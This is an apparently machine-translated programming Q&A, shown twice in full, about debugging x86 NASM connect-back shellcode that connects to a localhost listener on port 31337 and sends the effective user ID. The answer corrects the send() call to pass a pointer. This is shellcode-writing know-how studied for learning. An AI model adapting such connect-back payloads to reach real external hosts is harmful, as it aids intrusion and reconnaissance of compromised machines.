nasm x86:发送系统调用解释有效负载以发送为 NULL
nasm x86: send system call interpreting payload to send as NULL
我正在尝试编写一些 shell 代码,这些代码将连接到本地主机上端口 31337 上的侦听器,并发送程序的有效用户 ID 以供学习之用。
为了方便调试,我构造了以下代码并用nasm进行了汇编:
BITS 32
section .data
section .bss
section .text
global _start:
_start:
; s = socket(2, 1, 0)
push BYTE 0x66 ; socketcall is syscall #102 (0x66).
pop eax
cdq ; Zero out edx for use as a null DWORD later.
xor ebx, ebx ; ebx is the type of socketcall.
inc ebx ; 1 = SYS_SOCKET = socket()
push edx ; Build arg array: { protocol = 0,
push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,
push BYTE 0x2 ; AF_INET = 2 }
mov ecx, esp ; ecx = ptr to argument array
int 0x80 ; After syscall, eax has socket file descriptor.
xchg esi, eax ; Save socket FD in esi for later.
; connect(s, [2, 31337, <IP address>], 16)
push BYTE 0x66 ; socketcall (syscall #102)
pop eax
inc ebx ; ebx = 2 (needed for AF_INET)
push DWORD 0x0100007f ; Build sockaddr struct: IP address = 127.0.0.1
push WORD 0x697a ; (in reverse order) PORT = 31337
push WORD bx ; AF_INET = 2
mov ecx, esp ; ecx = server struct pointer
push BYTE 16 ; argv: { sizeof(server struct) = 16,
push ecx ; server struct pointer,
push esi ; socket file descriptor }
mov ecx, esp ; ecx = argument array
inc ebx ; ebx = 3 = SYS_CONNECT = connect()
int 0x80
; geteuid(void)
push BYTE 0x31 ; call for geteuid (syscall #49)
pop eax
int 0x80 ; eax = effective user id
mov edi, eax ; store euid for later
; send(3, euid, 8, 0)
push BYTE 0x66 ; socketcall (syscall #102)
pop eax
xor edx, edx ; creating zero for flags
push edx
push BYTE 8 ; size of data to transmit
push edi ; euid
push esi ; file descriptor
mov ebx, 9 ; ebx = 9 = SYS_SEND = send()
mov ecx, esp ; argument array
int 0x80
; exit(1)
push BYTE 1 ; call for exit
pop eax
xor ebx, ebx
int 0x80
当我 运行 这段代码时,成功创建套接字并建立连接到我正在侦听端口 31337 的服务器。但是,我的用户 ID 没有发送。当我 运行 strace 时,我收到以下输出:
execve("./connect_back", ["./connect_back"], [/* 18 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(31337),
sin_addr=inet_addr("127.0.0.1")}, 16) = 0
geteuid() = 0
send(3, NULL, 8, 0) = -1 EFAULT (Bad address)
_exit(0) = ?
+++ exited with 0 +++
我的 euid 似乎没有被用作参数。但是,当我在二进制文件上 运行 gdb 时,程序似乎正确地设置了发送调用的参数:
我是 nasm 的新手,如果这是一个愚蠢的语法问题,我深表歉意。感谢您的帮助!
TL;DR:您在 STRACE 中看到 send
的值 NULL 是因为您是 运行 STRACE 作为 root
用户并且Linux 发行版上 root
的 UID 通常为 0。在调试器中,您会看到 0x3e8,因为您 运行 调试器是具有 UID=1000(即 0x3e8)的非特权用户。
sys_send
需要指向要发送的数据的指针,而不是数据。值 0x0000 和 0x03e8 被视为内存地址,即使它们不是内存地址。这两个地址都是我们没有读取权限的内存,因此结果是 send
strace
输出中的 -EFAULT(错误地址)
您正在将 UID 的值传递给 send
,而不是指向数据的指针。 send
采用指向数据的指针,而不是数据本身。此代码将 UID 压入堆栈,然后使用堆栈地址作为指向 UID 的指针。指向 UID 的指针用于调用 send
:
BITS 32
section .data
section .bss
section .text
global _start:
_start:
; s = socket(2, 1, 0)
push BYTE 0x66 ; socketcall is syscall #102 (0x66).
pop eax
cdq ; Zero out edx for use as a null DWORD later.
xor ebx, ebx ; ebx is the type of socketcall.
inc ebx ; 1 = SYS_SOCKET = socket()
push edx ; Build arg array: { protocol = 0,
push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,
push BYTE 0x2 ; AF_INET = 2 }
mov ecx, esp ; ecx = ptr to argument array
int 0x80 ; After syscall, eax has socket file descriptor.
xchg esi, eax ; Save socket FD in esi for later.
; connect(s, [2, 31337, <IP address>], 16)
push BYTE 0x66 ; socketcall (syscall #102)
pop eax
inc ebx ; ebx = 2 (needed for AF_INET)
push DWORD 0x0100007f ; Build sockaddr struct: IP address = 127.0.0.1
push WORD 0x697a ; (in reverse order) PORT = 31337
push WORD bx ; AF_INET = 2
mov ecx, esp ; ecx = server struct pointer
push BYTE 16 ; argv: { sizeof(server struct) = 16,
push ecx ; server struct pointer,
push esi ; socket file descriptor }
mov ecx, esp ; ecx = argument array
inc ebx ; ebx = 3 = SYS_CONNECT = connect()
int 0x80
; geteuid(void)
push BYTE 0x31 ; call for geteuid (syscall #49)
pop eax
int 0x80 ; eax = effective user id
push eax ; Put EAX on the stack
mov edi, esp ; Get the address (on stack) of the UID
; send(3, euid, 8, 0)
push BYTE 0x66 ; socketcall (syscall #102)
pop eax
xor edx, edx ; creating zero for flags
push edx
push BYTE 4 ; size of data to transmit
push edi ; euid
push esi ; file descriptor
mov ebx, 9 ; ebx = 9 = SYS_SEND = send()
mov ecx, esp ; argument array
int 0x80
; exit(1)
push BYTE 1 ; call for exit
pop eax
xor ebx, ebx
int 0x80
我发送了 4 个字节的数据(32 位整数)而不是 8 个字节。接收方应该正好接收到包含 UID 二进制值的 4 个字节。
如果要将 UID 作为可打印字符串发送,则必须将 UID 转换为字符串并将字符串的地址传递给 send
。
我正在尝试编写一些 shell 代码,这些代码将连接到本地主机上端口 31337 上的侦听器,并发送程序的有效用户 ID 以供学习之用。
为了方便调试,我构造了以下代码并用nasm进行了汇编:
BITS 32
section .data
section .bss
section .text
global _start:
_start:
; s = socket(2, 1, 0)
push BYTE 0x66 ; socketcall is syscall #102 (0x66).
pop eax
cdq ; Zero out edx for use as a null DWORD later.
xor ebx, ebx ; ebx is the type of socketcall.
inc ebx ; 1 = SYS_SOCKET = socket()
push edx ; Build arg array: { protocol = 0,
push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,
push BYTE 0x2 ; AF_INET = 2 }
mov ecx, esp ; ecx = ptr to argument array
int 0x80 ; After syscall, eax has socket file descriptor.
xchg esi, eax ; Save socket FD in esi for later.
; connect(s, [2, 31337, <IP address>], 16)
push BYTE 0x66 ; socketcall (syscall #102)
pop eax
inc ebx ; ebx = 2 (needed for AF_INET)
push DWORD 0x0100007f ; Build sockaddr struct: IP address = 127.0.0.1
push WORD 0x697a ; (in reverse order) PORT = 31337
push WORD bx ; AF_INET = 2
mov ecx, esp ; ecx = server struct pointer
push BYTE 16 ; argv: { sizeof(server struct) = 16,
push ecx ; server struct pointer,
push esi ; socket file descriptor }
mov ecx, esp ; ecx = argument array
inc ebx ; ebx = 3 = SYS_CONNECT = connect()
int 0x80
; geteuid(void)
push BYTE 0x31 ; call for geteuid (syscall #49)
pop eax
int 0x80 ; eax = effective user id
mov edi, eax ; store euid for later
; send(3, euid, 8, 0)
push BYTE 0x66 ; socketcall (syscall #102)
pop eax
xor edx, edx ; creating zero for flags
push edx
push BYTE 8 ; size of data to transmit
push edi ; euid
push esi ; file descriptor
mov ebx, 9 ; ebx = 9 = SYS_SEND = send()
mov ecx, esp ; argument array
int 0x80
; exit(1)
push BYTE 1 ; call for exit
pop eax
xor ebx, ebx
int 0x80
当我 运行 这段代码时,成功创建套接字并建立连接到我正在侦听端口 31337 的服务器。但是,我的用户 ID 没有发送。当我 运行 strace 时,我收到以下输出:
execve("./connect_back", ["./connect_back"], [/* 18 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(31337),
sin_addr=inet_addr("127.0.0.1")}, 16) = 0
geteuid() = 0
send(3, NULL, 8, 0) = -1 EFAULT (Bad address)
_exit(0) = ?
+++ exited with 0 +++
我的 euid 似乎没有被用作参数。但是,当我在二进制文件上 运行 gdb 时,程序似乎正确地设置了发送调用的参数:
我是 nasm 的新手,如果这是一个愚蠢的语法问题,我深表歉意。感谢您的帮助!
TL;DR:您在 STRACE 中看到 send
的值 NULL 是因为您是 运行 STRACE 作为 root
用户并且Linux 发行版上 root
的 UID 通常为 0。在调试器中,您会看到 0x3e8,因为您 运行 调试器是具有 UID=1000(即 0x3e8)的非特权用户。
sys_send
需要指向要发送的数据的指针,而不是数据。值 0x0000 和 0x03e8 被视为内存地址,即使它们不是内存地址。这两个地址都是我们没有读取权限的内存,因此结果是 send
strace
输出中的 -EFAULT(错误地址)
您正在将 UID 的值传递给 send
,而不是指向数据的指针。 send
采用指向数据的指针,而不是数据本身。此代码将 UID 压入堆栈,然后使用堆栈地址作为指向 UID 的指针。指向 UID 的指针用于调用 send
:
BITS 32
section .data
section .bss
section .text
global _start:
_start:
; s = socket(2, 1, 0)
push BYTE 0x66 ; socketcall is syscall #102 (0x66).
pop eax
cdq ; Zero out edx for use as a null DWORD later.
xor ebx, ebx ; ebx is the type of socketcall.
inc ebx ; 1 = SYS_SOCKET = socket()
push edx ; Build arg array: { protocol = 0,
push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,
push BYTE 0x2 ; AF_INET = 2 }
mov ecx, esp ; ecx = ptr to argument array
int 0x80 ; After syscall, eax has socket file descriptor.
xchg esi, eax ; Save socket FD in esi for later.
; connect(s, [2, 31337, <IP address>], 16)
push BYTE 0x66 ; socketcall (syscall #102)
pop eax
inc ebx ; ebx = 2 (needed for AF_INET)
push DWORD 0x0100007f ; Build sockaddr struct: IP address = 127.0.0.1
push WORD 0x697a ; (in reverse order) PORT = 31337
push WORD bx ; AF_INET = 2
mov ecx, esp ; ecx = server struct pointer
push BYTE 16 ; argv: { sizeof(server struct) = 16,
push ecx ; server struct pointer,
push esi ; socket file descriptor }
mov ecx, esp ; ecx = argument array
inc ebx ; ebx = 3 = SYS_CONNECT = connect()
int 0x80
; geteuid(void)
push BYTE 0x31 ; call for geteuid (syscall #49)
pop eax
int 0x80 ; eax = effective user id
push eax ; Put EAX on the stack
mov edi, esp ; Get the address (on stack) of the UID
; send(3, euid, 8, 0)
push BYTE 0x66 ; socketcall (syscall #102)
pop eax
xor edx, edx ; creating zero for flags
push edx
push BYTE 4 ; size of data to transmit
push edi ; euid
push esi ; file descriptor
mov ebx, 9 ; ebx = 9 = SYS_SEND = send()
mov ecx, esp ; argument array
int 0x80
; exit(1)
push BYTE 1 ; call for exit
pop eax
xor ebx, ebx
int 0x80
我发送了 4 个字节的数据(32 位整数)而不是 8 个字节。接收方应该正好接收到包含 UID 二进制值的 4 个字节。
如果要将 UID 作为可打印字符串发送,则必须将 UID 转换为字符串并将字符串的地址传递给 send
。